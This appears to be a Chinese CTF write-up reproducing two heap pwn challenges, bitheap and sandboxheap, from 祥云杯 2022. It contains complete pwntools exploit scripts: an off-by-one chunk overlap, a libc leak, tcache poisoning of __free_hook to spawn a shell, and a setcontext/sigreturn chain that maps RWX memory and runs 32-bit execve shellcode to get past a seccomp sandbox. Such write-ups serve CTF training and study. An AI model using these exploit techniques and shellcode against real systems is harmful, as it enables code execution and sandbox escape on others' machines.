[祥云杯 2022] bitheap,sandboxheap复现

继续对头wp复现

第2个题是第1题用sandbox调起的结果,通过sandbox禁用了syscall,通过setcontext调sigreturn,建立rwx的mmap块在里边执行32位代码。

先看bitheap

漏洞在于edit时多写一位,off_by_one

unsigned __int64 m2edit()
{
  unsigned __int64 result; // rax
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  result = read_n();
  v1 = result;
  if ( result <= 0xF )
  {
    result = qword_2020E0[result];
    if ( result )
    {
      printf("Content: ");
      return sub_C61(qword_2020E0[v1], 8LL * qword_202060[v1] + 1);// 多写入1位
    }
  }
  return result;
}

通过多出的这一位覆盖下一chunk的头,使101改为100释放到unsort时向前合并制造重叠块再进行tcachebin attack

标准姿势是:块要大于80,先释放7块填满tcache,释放0,修改1利用off_by_one使2的pre_size=chunk0+chunk1,pre_inuse=0,然后释放2,向前合并到0,再分配时由于1块未释放将得到重叠的块

标准头部分

from pwn import *

#patchelf --add-needed ~/glibc/2.27-3u1.6-amd64/libc-2.27.so bitheap
#patchelf --set-interpreter ~/glibc/2.27-3u1.6-amd64/ld-2.27.so bitheap

p = process('./bitheap')
context(arch='amd64', log_level='debug')

elf = ELF('./bitheap')
libc_elf = ELF('./libc-2.27.so')

menu = b"Your choice: "
def add(idx, size):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def edit(idx, msg):     #off_by_onebit
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", msg.encode())

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def bytes2bin(s):
    return ''.join([bin(v)[2:].zfill(8)[::-1] for v in s])

生成重叠块得到libc

p.sendline(b'1')

for i in range(12):
    add(i, 0xf8)
for i in range(4,11):  #填满tcache
    free(i)

free(0)
edit(1, '0'*(0xf0*8)+ '0000000001'.ljust(8*8, '0') + '0') #修改pre_size, pre_inuse=0
free(2)

for i in [4,5,6,7,8,9,10,0]:
    add(i, 0xf8)

show(1)
p.recvuntil(b'Content: ')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))

然后利用重叠块修改tcache的fd指针,指向__free_hook,再建块到__free_hook然后在里边写system,再释放一个带/bin/sh的块执行system(/bin/sh)得到shell

add(12, 0xf8) #12 == 1
free(0)
free(12)
edit(1, bytes2bin(p64(libc_elf.sym['__free_hook'])))

add(13,0xf8)
add(14,0xf8)
edit(14, bytes2bin(p64(libc_elf.sym['system'])))
edit(13, bytes2bin(b'/bin/sh\x00'))
free(13)

p.interactive()

sandboxheap由于调用ptrace禁用syscall所以不能直接调用system,需要在这里写入setcontext+53,然后在一个200的块里写sigframe,在里边生成一个rwx的块并写上32位代码(32位调用int x80不用syscall可绕过)

先show得到堆地址,计算出sigreturn写入的块地址

show(5)
p.recvuntil(b'Content: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x660 + 0xe60 #chunk15
print('heap:', hex(heap_addr))

layout = { 0: heap_addr+0x100, 
           0xa0: heap_addr, 
           0xa8: libc_elf.sym['mprotect'], 
           0x68: heap_addr & ~0xfff, 
           0x70: 0x4000, 
           0x88: 7, 
           0x100: asm( shellcraft.amd64.linux.mmap_rwx(address=0x400000) + shellcraft.amd64.memcpy(0x400800, heap_addr+0x180, 0x20) ) + asm("xor esp, esp; mov rsp, 0x400100; mov eax, 0x23; mov [rsp+4], eax; mov eax, 0x400800; mov [rsp], eax") + b'\xcb', #0xcb: retf 
           0x180: b'j\x0bX\x99Rh//shh/bin\x89\xe31\xc9\xcd\x80'}  #pwncli.ShellcodeMall.i386.execve_bin_sh
payload = flat(layout, filler=b"\x90")
add(15, 0x200)
edit(15, bytes2bin(payload))

add(12, 0xf8) #12 == 1
free(0)
free(12)
edit(1, bytes2bin(p64(libc_elf.sym['__free_hook'])))

add(13,0xf8)
add(14,0xf8)
edit(14, bytes2bin(p64(libc_elf.sym['setcontext'] + 53)))
#edit(13, bytes2bin(b'/bin/sh\x00'))
free(15)

sleep(1)
p.sendline(b'cat f*')

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值